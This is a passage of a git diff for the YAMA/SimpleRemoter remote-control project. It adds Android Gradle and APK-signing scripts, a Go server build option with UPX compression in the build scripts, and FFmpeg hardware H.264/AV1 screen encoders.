)" '"$@"'
exec "$JAVACMD" "$@"

93
android/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

16
android/settings.gradle Normal file
View File

@@ -0,0 +1,16 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "YAMA"
include(":app")

112
android/sign_apk.bat Normal file
View File

@@ -0,0 +1,112 @@
@echo off
:: sign_apk.bat - Sign a YAMA APK with the release keystore
:: Usage: sign_apk.bat <apk-path>
setlocal
if "%~1"=="" (
echo Usage: sign_apk.bat ^<apk-path^>
exit /b 1
)
set "APK=%~f1"
if not exist "%APK%" (
echo ERROR: APK not found: %APK%
exit /b 1
)
set "KEYSTORE=%~dp0yama-release.jks"
if not exist "%KEYSTORE%" (
echo ERROR: Keystore not found: %KEYSTORE%
exit /b 1
)
:: --- Locate java.exe ---
set "JAVA_EXE="
where java >nul 2>&1
if not errorlevel 1 set "JAVA_EXE=java"
if not defined JAVA_EXE if defined JAVA_HOME (
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE (
echo ERROR: java.exe not found. Install JDK or Android Studio.
exit /b 1
)
:: --- Locate Android SDK ---
set "SDK_DIR="
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
if not defined SDK_DIR (
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
exit /b 1
)
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
set "SIGNER_JAR="
set "BT_VER="
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
set "BT_VER=%%D"
)
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
set "BT_VER=%%D"
)
)
if not defined SIGNER_JAR (
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
exit /b 1
)
echo.
echo APK : %APK%
echo Keystore: %KEYSTORE%
echo Java : %JAVA_EXE%
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
echo.
set "PWD=%YAMA_PWD%"
if not defined PWD set /p "PWD=Keystore password: "
if not defined PWD (
echo ERROR: No password provided.
exit /b 1
)
echo.
echo Signing...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
if errorlevel 1 (
echo ERROR: Signing failed.
exit /b 1
)
echo Verifying...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
if errorlevel 1 (
echo ERROR: Verification failed.
exit /b 1
)
echo.
echo Done: %APK%
endlocal

BIN
android/yama-release.jks Normal file

Binary file not shown.

View File

@@ -1,6 +1,8 @@
@echo off
:: SimpleRemoter Quick Build Script
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
:: go-server publish Same, plus UPX --best compression
setlocal enabledelayedexpansion
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
echo Unknown argument: %~1
shift
goto :parse_args

115
build.ps1
View File

@@ -15,11 +15,110 @@ param(
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
[switch]$Clean, # Clean before build
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
)
$ErrorActionPreference = "Stop"
$rootDir = $PSScriptRoot
$binDir = Join-Path $rootDir "Bin"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
function Build-GoServer {
param(
[string]$Configuration,
[switch]$Compress
)
Write-Host ""
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
$goCmd = Get-Command go -ErrorAction SilentlyContinue
if (-not $goCmd) {
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
return $false
}
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
$goDir = Join-Path $rootDir "server\go"
if (-not (Test-Path $goDir)) {
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
return $false
}
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
$webSrc = Join-Path $rootDir "server\web\index.html"
$webDstDir = Join-Path $goDir "web\assets"
if (Test-Path $webSrc) {
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
}
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
$outFile = Join-Path $binDir "YamaGo_x64.exe"
# Release strips debug info for smaller binary; Debug keeps symbols.
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
Push-Location $goDir
try {
$env:GOOS = "windows"
$env:GOARCH = "amd64"
if ($ldflags) {
& go build -ldflags $ldflags -o $outFile ./cmd
} else {
& go build -o $outFile ./cmd
}
$code = $LASTEXITCODE
} finally {
Pop-Location
}
if ($code -ne 0) {
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
return $false
}
$size = (Get-Item $outFile).Length / 1MB
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
# In-place UPX compression. Failure is a warning, not an error — the
# uncompressed binary is still usable, and UPX occasionally refuses on
# certain PE sections.
if ($Compress) {
Write-Host ""
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
if (-not (Test-Path $upxPath)) {
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
} else {
$sizeBefore = (Get-Item $outFile).Length / 1MB
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
& $upxPath --best $outFile
if ($LASTEXITCODE -ne 0) {
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
} else {
$sizeAfter = (Get-Item $outFile).Length / 1MB
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
}
}
}
return $true
}
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
# Go binary too" (not the full C++ publish flow).
if ($GoServer) {
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
if (-not $ok) { exit 1 }
exit 0
}
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
$msBuildPaths = @(
@@ -43,6 +142,18 @@ foreach ($pattern in $msBuildPaths) {
}
}
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
# vswhere.exe 由 VS Installer 维护,固定在 %ProgramFiles(x86)% 下,与 VS 本体盘符无关。
if (-not $msBuild) {
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vswhere) {
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
Select-Object -First 1
if ($found) { $msBuild = $found }
}
}
if (-not $msBuild) {
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
Write-Host ""
@@ -60,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
$rootDir = $PSScriptRoot
$slnFile = Join-Path $rootDir "YAMA.sln"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Publish mode overrides
if ($Publish) {

View File

@@ -8,6 +8,8 @@
#include <Mmsystem.h>
#include <IOSTREAM>
#if ENABLE_AUDIO_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
m_bIsWorking = TRUE;
return TRUE;
}
#endif

View File

@@ -12,6 +12,10 @@
#include "Manager.h"
#include "Audio.h"
#if ENABLE_AUDIO_MNG==0
#define CAudioManager CManager
#else
class CAudioManager : public CManager
{
@@ -28,5 +32,6 @@ public:
CAudio* m_AudioObject;
LPBYTE szPacket; // 音频缓存区
};
#endif
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

View File

@@ -0,0 +1,243 @@
#include "CFFmpegAV1Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元FFmpeg lib 已在
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// AV1 硬编后端探测顺序,没有 av1_mf 兜底FFmpeg 7.1 不支持)。
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
static const char* kAV1Backends[] = {
"av1_nvenc", // NVIDIA RTX 40 / 50 系Ada Lovelace+
"av1_amf", // AMD RX 7000+RDNA 3+
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
};
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
close();
}
void CFFmpegAV1Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegAV1Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kAV1Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec();
}
return false;
}
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encodercompress\ffmpeg 没启用 av1
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略与 H.264 路径对齐peak-constrained VBR远控静态画面省带宽。
if (strcmp(name, "av1_nvenc") == 0) {
// av1_nvenc preset p1~p7远控 p5 兼顾质量与速度。
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
} else if (strcmp(name, "av1_amf") == 0) {
// av1_amf 选项命名与 h264_amf 大体一致rc 同样支持 vbr_peak
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
setOpt(m_ctx->priv_data, "quality", "quality", name);
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "av1_qsv") == 0) {
// av1_qsvbit_rate < max_rate 时自动 VBR
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegAV1Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
// 这里仅更新数值,下次 open 时生效。
}
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int w = (int)width;
int h = (int)height;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
return -1;
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0)
return -1;
return 0;
}
int CFFmpegAV1Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
int w = (int)width;
int h = (int)height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 AV1 实现。
// 后端探测顺序av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
//
// 注意FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
class CFFmpegAV1Encoder : public VideoEncoderBase
{
public:
CFFmpegAV1Encoder();
~CFFmpegAV1Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::AV1; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer;
std::vector<uint8_t> m_i420Scratch;
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend;
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,304 @@
#include "CFFmpegH264Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
// 都不进编译单元FFmpeg 静态库不会被链接进二进制
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
#include <cstdlib>
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
// FFmpeg 三个核心库是纯 CCRT 中性Debug/Release 共用一份。
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
// dav1d (AV1 软解C 项目) —— 不分 Debug/Release。
// build 时启用了 --enable-libdav1dlibavcodec 内部 av1 decoder 引用了 dav1d 符号。
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
// build 时启用了 --enable-libvpllibavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
#ifdef _DEBUG
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
#else
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
#endif
#pragma comment(lib, "mfplat.lib")
#pragma comment(lib, "mfuuid.lib")
#pragma comment(lib, "strmiids.lib")
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
// ws2_32 在 IOCPClient.h 已 link重复不冲突
#pragma comment(lib, "ws2_32.lib")
// av_opt_set wrappersFFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
// 不报错,导致 encoder 退回默认行为且没人察觉实际踩过AMF rc=vbr_peak_constrained
// 拼成全名FFmpeg 实际只接受 vbr_peak没设上去就退回 CBR
// 包一层 helper任何设置失败 Mprintf 警告。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// 后端探测顺序NVIDIA > Intel > AMD > Windows MF 兜底。
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel任何 GPU 都能尝试,作最后兜底。
static const char* kH264Backends[] = {
"h264_nvenc", // NVIDIA NVENC
"h264_qsv", // Intel Quick Sync Video
"h264_amf", // AMD AMF
"h264_mf", // Windows Media Foundation
};
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
close();
}
void CFFmpegH264Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegH264Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kH264Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec(); // 释放本次失败的 ctx准备下一次尝试
}
return false;
}
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件CBR 会强行
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
if (strcmp(name, "h264_nvenc") == 0) {
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
// tune=ll low-latencyrc=vbr 配 max_rate 实现峰值受限的 VBR。
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
} else if (strcmp(name, "h264_qsv") == 0) {
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR所以这里只需调 preset。
// preset=slow 比 medium 慢但画质好async_depth=1 单帧立即出包。
